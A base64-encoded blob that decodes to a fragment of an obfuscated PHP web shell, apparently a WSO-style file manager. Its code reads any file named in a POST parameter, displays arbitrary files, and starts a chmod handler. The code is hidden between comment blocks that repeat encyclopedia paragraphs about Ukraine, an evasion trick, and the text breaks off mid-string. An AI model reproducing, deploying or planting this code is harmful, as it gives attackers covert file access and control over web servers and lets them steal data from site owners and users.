IHdoaWNoIGxhdGVyIGVzY2FsYXRlZCBpbnRvIHRoZSAyMDE0IFVrcmFpbmlhbiByZXZvbHV0aW9uIHRoYXQgbGVkIHRvIHRoZSBvdmVydGhyb3cgb2YgWWFudWtvdnljaCBhbmQgdGhlIGVzdGFibGlzaG1lbnQgb2YgYSBuZXcgZ292ZXJubWVudC4gVGhlc2UgZXZlbnRzIGZvcm1lZCB0aGUgYmFja2dyb3VuZCBmb3IgdGhlIGFubmV4YXRpb24gb2YgQ3JpbWVhIGJ5IFJ1c3NpYSBpbiBNYXJjaCAyMDE0LCBhbmQgdGhlIFdhciBpbiBEb25iYXNzIGluIEFwcmlsIDIwMTQuIE9uIDEgSmFudWFyeSAyMDE2LCBVa3JhaW5lIGFwcGxpZWQgdGhlIGVjb25vbWljIGNvbXBvbmVudCBvZiB0aGUgRGVlcCBhbmQgQ29tcHJlaGVuc2l2ZSBGcmVlIFRyYWRlIEFyZWEgd2l0aCB0aGUgRXVyb3BlYW4gVW5pb24uWzEzXQoKVWtyYWluZSBpcyBhIGRldmVsb3BpbmcgY291bnRyeSBhbmQgcmFua3MgODh0aCBvbiB0aGUgSHVtYW4gRGV2ZWxvcG1lbnQgSW5kZXguIEFzIG9mIDIwMTgsIFVrcmFpbmUgaXMgdGhlIHBvb3Jlc3QgY291bnRyeSBpbiBFdXJvcGUgYWxvbmdzaWRlIE1vbGRvdmEgaW4gdGVybXMgb2YgR0RQIHBlciBjYXBpdGEuIEF0IFVTJDQwLCBpdCBoYXMgdGhlIGxvd2VzdCBtZWRpYW4gd2VhbHRoIHBlciBhZHVsdCBpbiB0aGUgd29ybGQsW25vdGUgMV1bMTRdIGFuZCBzdWZmZXJzIGZyb20gYSB2ZXJ5IGhpZ2ggcG92ZXJ0eSByYXRlIGFzIHdlbGwgYXMgc2V2ZXJlIGNvcnJ1cHRpb24uWzE1XSBIb3dldmVyLCBiZWNhdXNlIG9mIGl0cyBleHRlbnNpdmUgZmVydGlsZSBmYXJtbGFuZHMsIFVrcmFpbmUgaXMgb25lIG9mIHRoZSB3b3JsZCdzIGxhcmdlc3QgZ3JhaW4gZXhwb3J0ZXJzLlsxNl1bMTddIEl0IGFsc28gbWFpbnRhaW5zIHRoZSBzZWNvbmQtbGFyZ2VzdCBtaWxpdGFyeSBpbiBFdXJvcGUgYWZ0ZXIgdGhhdCBvZiBSdXNzaWEuIFVrcmFpbmUgaXMgYSB1bml0YXJ5IHJlcHVibGljIHVuZGVyIGEgc2VtaS1wcmVzaWRlbnRpYWwgc3lzdGVtIHdpdGggc2VwYXJhdGUgcG93ZXJzOiBsZWdpc2xhdGl2ZSwgZXhlY3V0aXZlIGFuZCBqdWRpY2lhbCBicmFuY2hlcy4gVGhlIGNvdW50cnkgaXMgYSBtZW1iZXIgb2YgdGhlIFVuaXRlZCBOYXRpb25zLCB0aGUgQ291bmNpbCBvZiBFdXJvcGUsIHRoZSBPU0NFLCB0aGUgR1VBTSBvcmdhbml6YXRpb24sIGFuZCBvbmUgb2YgdGhlIGZvdW5kaW5nIHN0YXRlcyBvZiB0aGUgQ29tbW9ud2VhbHRoIG9mIEluZGVwZW5kZW50IFN0YXRlcyAoQ0lTKS4gCiovCgkJCWVjaG8gJzxwcmUgY2xhc3M9bWwxPic7CgkJCSRmcCA9IEBmb3BlbigkX1BPU1RbJ3AxJ10sICdyJyk7Ci8qCgpVa3JhaW5lIChVa3JhaW5pYW46INCj0LrRgNCw0ZfQvdCwLCByb21hbml6ZWQ6IFVrcmF5aW5hLCBwcm9ub3VuY2VkIFvKimtyyZDLiGppbsmQXSAoQWJvdXQgdGhpcyBzb3VuZGxpc3RlbikpLCBzb21ldGltZXMgY2FsbGVkIHRoZSBVa3JhaW5lLFs3XSBpcyBhIGNvdW50cnkgaW4gRWFzdGVybiBFdXJvcGUuWzhdIEV4Y2x1ZGluZyBDcmltZWEsIFVrcmFpbmUgaGFzIGEgcG9wdWxhdGlvbiBvZiBhYm91dCA0MiBtaWxsaW9uLFsyXSBtYWtpbmcgaXQgdGhlIDMybmQgbW9zdCBwb3B1bG91cyBjb3VudHJ5IGluIHRoZSB3b3JsZC4gSXRzIGNhcGl0YWwgYW5kIGxhcmdlc3QgY2l0eSBpcyBLaWV2LiBVa3JhaW5pYW4gaXMgdGhlIG9mZmljaWFsIGxhbmd1YWdlIGFuZCBpdHMgYWxwaGFiZXQgaXMgQ3lyaWxsaWMuIFRoZSBkb21pbmFudCByZWxpZ2lvbiBpbiB0aGUgY291bnRyeSBpcyBFYXN0ZXJuIE9ydGhvZG94eS4gVWtyYWluZSBpcyBjdXJyZW50bHkgaW4gYSB0ZXJyaXRvcmlhbCBkaXNwdXRlIHdpdGggUnVzc2lhIG92ZXIgdGhlIENyaW1lYW4gUGVuaW5zdWxhLCB3aGljaCBSdXNzaWEgYW5uZXhlZCBpbiAyMDE0Lls5XSBJbmNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhbiBhcmVhIG9mIDYwMyw2Mjgga20yICgyMzMsMDYyIHNxIG1pKSxbMTBdIG1ha2luZyBpdCB0aGUgbGFyZ2VzdCBjb3VudHJ5IGVudGlyZWx5IHdpdGhpbiBFdXJvcGUgYW5kIHRoZSA0NnRoIGxhcmdlc3QgY291bnRyeSBpbiB0aGUgd29ybGQuCgpUaGUgdGVycml0b3J5IG9mIG1vZGVybiBVa3JhaW5lIGhhcyBiZWVuIGluaGFiaXRlZCBzaW5jZSAzMiwwMDAgQkMuIER1cmluZyB0aGUgTWlkZGxlIEFnZXMsIHRoZSBhcmVhIHdhcyBhIGtleSBjZW50cmUgb2YgRWFzdCBTbGF2aWMgY3VsdHVyZSwgd2l0aCB0aGUgcG93ZXJmdWwgc3RhdGUgb2YgS2lldmFuIFJ1cycgZm9ybWluZyB0aGUgYmFzaXMgb2YgVWtyYWluaWFuIGlkZW50aXR5LiBGb2xsb3dpbmcgaXRzIGZyYWdtZW50YXRpb24gaW4gdGhlIDEzdGggY2VudHVyeSwgdGhlIHRlcnJpdG9yeSB3YXMgY29udGVzdGVkLCBydWxlZCBhbmQgZGl2aWRlZCBieSBhIHZhcmlldHkgb2YgcG93ZXJzLCBpbmNsdWRpbmcgTGl0aHVhbmlhLCBQb2xhbmQsIEF1c3RyaWEtSHVuZ2FyeSwgdGhlIE90dG9tYW4gRW1waXJlIGFuZCBSdXNzaWEuIEEgQ29zc2FjayByZXB1YmxpYyBlbWVyZ2VkIGFuZCBwcm9zcGVyZWQgZHVyaW5nIHRoZSAxN3RoIGFuZCAxOHRoIGNlbnR1cmllcywgYnV0IGl0cyB0ZXJyaXRvcnkgd2FzIGV2ZW50dWFsbHkgc3BsaXQgYmV0d2VlbiBQb2xhbmQgYW5kIHRoZSBSdXNzaWFuIEVtcGlyZSwgYW5kIGZpbmFsbHkgbWVyZ2VkIGZ1bGx5IGludG8gdGhlIFJ1c3NpYW4tZG9taW5hdGVkIFNvdmlldCBVbmlvbiBpbiB0aGUgbGF0ZSAxOTQwcyBhcyB0aGUgVWtyYWluaWFuIFNvdmlldCBTb2NpYWxpc3QgUmVwdWJsaWMuIEluIDE5OTEsIFVrcmFpbmUgZ2FpbmVkIGl0cyBpbmRlcGVuZGVuY2UgZnJvbSB0aGUgU292aWV0IFVuaW9uIGluIHRoZSBhZnRlcm1hdGggb2YgaXRzIGRpc3NvbHV0aW9uIGF0IHRoZSBlbmQgb2YgdGhlIENvbGQgV2FyLiBCZWZvcmUgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSB3YXMgdHlwaWNhbGx5IHJlZmVycmVkIHRvIGluIEVuZ2xpc2ggYXMgIlRoZSBVa3JhaW5lIiwgYnV0IG1vc3Qgc291cmNlcyBoYXZlIHNpbmNlIG1vdmVkIHRvIGRyb3AgInRoZSIgZnJvbSB0aGUgbmFtZSBvZiBVa3JhaW5lIGluIGFsbCB1c2VzLlsxMV0KCkZvbGxvd2luZyBpdHMgaW5kZXBlbmRlbmNlLCBVa3JhaW5lIGRlY2xhcmVkIGl0c2VsZiBhIG5ldXRyYWwgc3RhdGU7WzEyXSBpdCBmb3JtZWQgYSBsaW1pdGVkIG1pbGl0YXJ5IHBhcnRuZXJzaGlwIHdpdGggUnVzc2lhIGFuZCBvdGhlciBDSVMgY291bnRyaWVzIHdoaWxlIGFsc28gZXN0YWJsaXNoaW5nIGEgcGFydG5lcnNoaXAgd2l0aCBOQVRPIGluIDE5OTQuIEluIDIwMTMsIGFmdGVyIHRoZSBnb3Zlcm5tZW50IG9mIFByZXNpZGVudCBWaWt0b3IgWWFudWtvdnljaCBoYWQgZGVjaWRlZCB0byBzdXNwZW5kIHRoZSBVa3JhaW5lLUV1cm9wZWFuIFVuaW9uIEFzc29jaWF0aW9uIEFncmVlbWVudCBhbmQgc2VlayBjbG9zZXIgZWNvbm9taWMgdGllcyB3aXRoIFJ1c3NpYSwgYSBzZXZlcmFsLW1vbnRocy1sb25nIHdhdmUgb2YgZGVtb25zdHJhdGlvbnMgYW5kIHByb3Rlc3RzIGtub3duIGFzIHRoZSBFdXJvbWFpZGFuIGJlZ2FuLCB3aGljaCBsYXRlciBlc2NhbGF0ZWQgaW50byB0aGUgMjAxNCBVa3JhaW5pYW4gcmV2b2x1dGlvbiB0aGF0IGxlZCB0byB0aGUgb3ZlcnRocm93IG9mIFlhbnVrb3Z5Y2ggYW5kIHRoZSBlc3RhYmxpc2htZW50IG9mIGEgbmV3IGdvdmVybm1lbnQuIFRoZXNlIGV2ZW50cyBmb3JtZWQgdGhlIGJhY2tncm91bmQgZm9yIHRoZSBhbm5leGF0aW9uIG9mIENyaW1lYSBieSBSdXNzaWEgaW4gTWFyY2ggMjAxNCwgYW5kIHRoZSBXYXIgaW4gRG9uYmFzcyBpbiBBcHJpbCAyMDE0LiBPbiAxIEphbnVhcnkgMjAxNiwgVWtyYWluZSBhcHBsaWVkIHRoZSBlY29ub21pYyBjb21wb25lbnQgb2YgdGhlIERlZXAgYW5kIENvbXByZWhlbnNpdmUgRnJlZSBUcmFkZSBBcmVhIHdpdGggdGhlIEV1cm9wZWFuIFVuaW9uLlsxM10KClVrcmFpbmUgaXMgYSBkZXZlbG9waW5nIGNvdW50cnkgYW5kIHJhbmtzIDg4dGggb24gdGhlIEh1bWFuIERldmVsb3BtZW50IEluZGV4LiBBcyBvZiAyMDE4LCBVa3JhaW5lIGlzIHRoZSBwb29yZXN0IGNvdW50cnkgaW4gRXVyb3BlIGFsb25nc2lkZSBNb2xkb3ZhIGluIHRlcm1zIG9mIEdEUCBwZXIgY2FwaXRhLiBBdCBVUyQ0MCwgaXQgaGFzIHRoZSBsb3dlc3QgbWVkaWFuIHdlYWx0aCBwZXIgYWR1bHQgaW4gdGhlIHdvcmxkLFtub3RlIDFdWzE0XSBhbmQgc3VmZmVycyBmcm9tIGEgdmVyeSBoaWdoIHBvdmVydHkgcmF0ZSBhcyB3ZWxsIGFzIHNldmVyZSBjb3JydXB0aW9uLlsxNV0gSG93ZXZlciwgYmVjYXVzZSBvZiBpdHMgZXh0ZW5zaXZlIGZlcnRpbGUgZmFybWxhbmRzLCBVa3JhaW5lIGlzIG9uZSBvZiB0aGUgd29ybGQncyBsYXJnZXN0IGdyYWluIGV4cG9ydGVycy5bMTZdWzE3XSBJdCBhbHNvIG1haW50YWlucyB0aGUgc2Vjb25kLWxhcmdlc3QgbWlsaXRhcnkgaW4gRXVyb3BlIGFmdGVyIHRoYXQgb2YgUnVzc2lhLiBVa3JhaW5lIGlzIGEgdW5pdGFyeSByZXB1YmxpYyB1bmRlciBhIHNlbWktcHJlc2lkZW50aWFsIHN5c3RlbSB3aXRoIHNlcGFyYXRlIHBvd2VyczogbGVnaXNsYXRpdmUsIGV4ZWN1dGl2ZSBhbmQganVkaWNpYWwgYnJhbmNoZXMuIFRoZSBjb3VudHJ5IGlzIGEgbWVtYmVyIG9mIHRoZSBVbml0ZWQgTmF0aW9ucywgdGhlIENvdW5jaWwgb2YgRXVyb3BlLCB0aGUgT1NDRSwgdGhlIEdVQU0gb3JnYW5pemF0aW9uLCBhbmQgb25lIG9mIHRoZSBmb3VuZGluZyBzdGF0ZXMgb2YgdGhlIENvbW1vbndlYWx0aCBvZiBJbmRlcGVuZGVudCBTdGF0ZXMgKENJUykuIAoqLwoJCQlpZigkZnApIHsKCQkJCXdoaWxlKCAhQGZlb2YoJGZwKSApCgkJCQkJZWNobyBodG1sc3BlY2lhbGNoYXJzKEBmcmVhZCgkZnAsIDEwMjQpKTsKCQkJCUBmY2xvc2UoJGZwKTsKCQkJfQoJCQllY2hvICc8L3ByZT4nOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgVVMkNDAsIGl0IGhhcyB0aGUgbG93ZXN0IG1lZGlhbiB3ZWFsdGggcGVyIGFkdWx0IGluIHRoZSB3b3JsZCxbbm90ZSAxXVsxNF0gYW5kIHN1ZmZlcnMgZnJvbSBhIHZlcnkgaGlnaCBwb3ZlcnR5IHJhdGUgYXMgd2VsbCBhcyBzZXZlcmUgY29ycnVwdGlvbi5bMTVdIEhvd2V2ZXIsIGJlY2F1c2Ugb2YgaXRzIGV4dGVuc2l2ZSBmZXJ0aWxlIGZhcm1sYW5kcywgVWtyYWluZSBpcyBvbmUgb2YgdGhlIHdvcmxkJ3MgbGFyZ2VzdCBncmFpbiBleHBvcnRlcnMuWzE2XVsxN10gSXQgYWxzbyBtYWludGFpbnMgdGhlIHNlY29uZC1sYXJnZXN0IG1pbGl0YXJ5IGluIEV1cm9wZSBhZnRlciB0aGF0IG9mIFJ1c3NpYS4gVWtyYWluZSBpcyBhIHVuaXRhcnkgcmVwdWJsaWMgdW5kZXIgYSBzZW1pLXByZXNpZGVudGlhbCBzeXN0ZW0gd2l0aCBzZXBhcmF0ZSBwb3dlcnM6IGxlZ2lzbGF0aXZlLCBleGVjdXRpdmUgYW5kIGp1ZGljaWFsIGJyYW5jaGVzLiBUaGUgY291bnRyeSBpcyBhIG1lbWJlciBvZiB0aGUgVW5pdGVkIE5hdGlvbnMsIHRoZSBDb3VuY2lsIG9mIEV1cm9wZSwgdGhlIE9TQ0UsIHRoZSBHVUFNIG9yZ2FuaXphdGlvbiwgYW5kIG9uZSBvZiB0aGUgZm91bmRpbmcgc3RhdGVzIG9mIHRoZSBDb21tb253ZWFsdGggb2YgSW5kZXBlbmRlbnQgU3RhdGVzIChDSVMpLiAKKi8KCQkJYnJlYWs7CgkJY2FzZSAnaGlnaGxpZ2h0JzoKCQkJaWYoIGlzX3JlYWRhYmxlKCRfUE9TVFsncDEnXSkgKSB7CgkJCQllY2hvICc8ZGl2IGNsYXNzPW1sMSBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UxZTFlMTtjb2xvcjpibGFjazsiPic7CgkJCQkkY29kZSA9IGhpZ2hsaWdodF9maWxlKCRfUE9TVFsncDEnXSx0cnVlKTsKCQkJCWVjaG8gc3RyX3JlcGxhY2UoYXJyYXkoJzxzcGFuICcsJzwvc3Bhbj4nKSwgYXJyYXkoJzxmb250ICcsJzwvZm9udD4nKSwkY29kZSkuJzwvZGl2Pic7CgkJCX0KCQkJYnJlYWs7CgkJY2FzZSAnY2htb2QnOgoJCQlpZiggIWVtcHR5KCRfUE9TVFsncDMnXSkgKSB7CgkJCQkkcGVybXMgPSAwOwovKgoKVWtyYWluZSAoVWtyYWluaWFuOiDQo9C60YDQsNGX0L3QsCwgcm9tYW5pemVkOiBVa3JheWluYSwgcHJvbm91bmNlZCBbyoprcsmQy4hqaW7JkF0gKEFib3V0IHRoaXMgc291bmRsaXN0ZW4pKSwgc29tZXRpbWVzIGNhbGxlZCB0aGUgVWtyYWluZSxbN10gaXMgYSBjb3VudHJ5IGluIEVhc3Rlcm4gRXVyb3BlLls4XSBFeGNsdWRpbmcgQ3JpbWVhLCBVa3JhaW5lIGhhcyBhIHBvcHVsYXRpb24gb2YgYWJvdXQgNDIgbWlsbGlvbixbMl0gbWFraW5nIGl0IHRoZSAzMm5kIG1vc3QgcG9wdWxvdXMgY291bnRyeSBpbiB0aGUgd29ybGQuIEl0cyBjYXBpdGFsIGFuZCBsYXJnZXN0IGNpdHkgaXMgS2lldi4gVWtyYWluaWFuIGlzIHRoZSBvZmZpY2lhbCBsYW5ndWFnZSBhbmQgaXRzIGFscGhhYmV0IGlzIEN5cmlsbGljLiBUaGUgZG9taW5hbnQgcmVsaWdpb24gaW4gdGhlIGNvdW50cnkgaXMgRWFzdGVybiBPcnRob2RveHkuIFVrcmFpbmUgaXMgY3VycmVudGx5IGluIGEgdGVycml0b3JpYWwgZGlzcHV0ZSB3aXRoIFJ1c3NpYSBvdmVyIHRoZSBDcmltZWFuIFBlbmluc3VsYSwgd2hpY2ggUnVzc2lhIGFubmV4ZWQgaW4gMjAxNC5bOV0gSW5jbHVkaW5nIENyaW1lYSwgVWtyYWluZSBoYXMgYW4gYXJlYSBvZiA2MDMsNjI4IGttMiAoMjMzLDA2MiBzcSBtaSksWzEwXSBtYWtpbmcgaXQgdGhlIGxhcmdlc3QgY291bnRyeSBlbnRpcmVseSB3aXRoaW4gRXVyb3BlIGFuZCB0aGUgNDZ0aCBsYXJnZXN0IGNvdW50cnkgaW4gdGhlIHdvcmxkLgoKVGhlIHRlcnJpdG9yeSBvZiBtb2Rlcm4gVWtyYWluZSBoYXMgYmVlbiBpbmhhYml0ZWQgc2luY2UgMzIsMDAwIEJDLiBEdXJpbmcgdGhlIE1pZGRsZSBBZ2VzLCB0aGUgYXJlYSB3YXMgYSBrZXkgY2VudHJlIG9mIEVhc3QgU2xhdmljIGN1bHR1cmUsIHdpdGggdGhlIHBvd2VyZnVsIHN0YXRlIG9mIEtpZXZhbiBSdXMnIGZvcm1pbmcgdGhlIGJhc2lzIG9mIFVrcmFpbmlhbiBpZGVudGl0eS4gRm9sbG93aW5nIGl0cyBmcmFnbWVudGF0aW9uIGluIHRoZSAxM3RoIGNlbnR1cnksIHRoZSB0ZXJyaXRvcnkgd2FzIGNvbnRlc3RlZCwgcnVsZWQgYW5kIGRpdmlkZWQgYnkgYSB2YXJpZXR5IG9mIHBvd2VycywgaW5jbHVkaW5nIExpdGh1YW5pYSwgUG9sYW5kLCBBdXN0cmlhLUh1bmdhcnksIHRoZSBPdHRvbWFuIEVtcGlyZSBhbmQgUnVzc2lhLiBBIENvc3NhY2sgcmVwdWJsaWMgZW1lcmdlZCBhbmQgcHJvc3BlcmVkIGR1cmluZyB0aGUgMTd0aCBhbmQgMTh0aCBjZW50dXJpZXMsIGJ1dCBpdHMgdGVycml0b3J5IHdhcyBldmVudHVhbGx5IHNwbGl0IGJldHdlZW4gUG9sYW5kIGFuZCB0aGUgUnVzc2lhbiBFbXBpcmUsIGFuZCBmaW5hbGx5IG1lcmdlZCBmdWxseSBpbnRvIHRoZSBSdXNzaWFuLWRvbWluYXRlZCBTb3ZpZXQgVW5pb24gaW4gdGhlIGxhdGUgMTk0MHMgYXMgdGhlIFVrcmFpbmlhbiBTb3ZpZXQgU29jaWFsaXN0IFJlcHVibGljLiBJbiAxOTkxLCBVa3JhaW5lIGdhaW5lZCBpdHMgaW5kZXBlbmRlbmNlIGZyb20gdGhlIFNvdmlldCBVbmlvbiBpbiB0aGUgYWZ0ZXJtYXRoIG9mIGl0cyBkaXNzb2x1dGlvbiBhdCB0aGUgZW5kIG9mIHRoZSBDb2xkIFdhci4gQmVmb3JlIGl0cyBpbmRlcGVuZGVuY2UsIFVrcmFpbmUgd2FzIHR5cGljYWxseSByZWZlcnJlZCB0byBpbiBFbmdsaXNoIGFzICJUaGUgVWtyYWluZSIsIGJ1dCBtb3N0IHNvdXJjZXMgaGF2ZSBzaW5jZSBtb3ZlZCB0byBkcm9wICJ0aGUiIGZyb20gdGhlIG5hbWUgb2YgVWtyYWluZSBpbiBhbGwgdXNlcy5bMTFdCgpGb2xsb3dpbmcgaXRzIGluZGVwZW5kZW5jZSwgVWtyYWluZSBkZWNsYXJlZCBpdHNlbGYgYSBuZXV0cmFsIHN0YXRlO1sxMl0gaXQgZm9ybWVkIGEgbGltaXRlZCBtaWxpdGFyeSBwYXJ0bmVyc2hpcCB3aXRoIFJ1c3NpYSBhbmQgb3RoZXIgQ0lTIGNvdW50cmllcyB3aGlsZSBhbHNvIGVzdGFibGlzaGluZyBhIHBhcnRuZXJzaGlwIHdpdGggTkFUTyBpbiAxOTk0LiBJbiAyMDEzLCBhZnRlciB0aGUgZ292ZXJubWVudCBvZiBQcmVzaWRlbnQgVmlrdG9yIFlhbnVrb3Z5Y2ggaGFkIGRlY2lkZWQgdG8gc3VzcGVuZCB0aGUgVWtyYWluZS1FdXJvcGVhbiBVbmlvbiBBc3NvY2lhdGlvbiBBZ3JlZW1lbnQgYW5kIHNlZWsgY2xvc2VyIGVjb25vbWljIHRpZXMgd2l0aCBSdXNzaWEsIGEgc2V2ZXJhbC1tb250aHMtbG9uZyB3YXZlIG9mIGRlbW9uc3RyYXRpb25zIGFuZCBwcm90ZXN0cyBrbm93biBhcyB0aGUgRXVyb21haWRhbiBiZWdhbiwgd2hpY2ggbGF0ZXIgZXNjYWxhdGVkIGludG8gdGhlIDIwMTQgVWtyYWluaWFuIHJldm9sdXRpb24gdGhhdCBsZWQgdG8gdGhlIG92ZXJ0aHJvdyBvZiBZYW51a292eWNoIGFuZCB0aGUgZXN0YWJsaXNobWVudCBvZiBhIG5ldyBnb3Zlcm5tZW50LiBUaGVzZSBldmVudHMgZm9ybWVkIHRoZSBiYWNrZ3JvdW5kIGZvciB0aGUgYW5uZXhhdGlvbiBvZiBDcmltZWEgYnkgUnVzc2lhIGluIE1hcmNoIDIwMTQsIGFuZCB0aGUgV2FyIGluIERvbmJhc3MgaW4gQXByaWwgMjAxNC4gT24gMSBKYW51YXJ5IDIwMTYsIFVrcmFpbmUgYXBwbGllZCB0aGUgZWNvbm9taWMgY29tcG9uZW50IG9mIHRoZSBEZWVwIGFuZCBDb21wcmVoZW5zaXZlIEZyZWUgVHJhZGUgQXJlYSB3aXRoIHRoZSBFdXJvcGVhbiBVbmlvbi5bMTNdCgpVa3JhaW5lIGlzIGEgZGV2ZWxvcGluZyBjb3VudHJ5IGFuZCByYW5rcyA4OHRoIG9uIHRoZSBIdW1hbiBEZXZlbG9wbWVudCBJbmRleC4gQXMgb2YgMjAxOCwgVWtyYWluZSBpcyB0aGUgcG9vcmVzdCBjb3VudHJ5IGluIEV1cm9wZSBhbG9uZ3NpZGUgTW9sZG92YSBpbiB0ZXJtcyBvZiBHRFAgcGVyIGNhcGl0YS4gQXQgV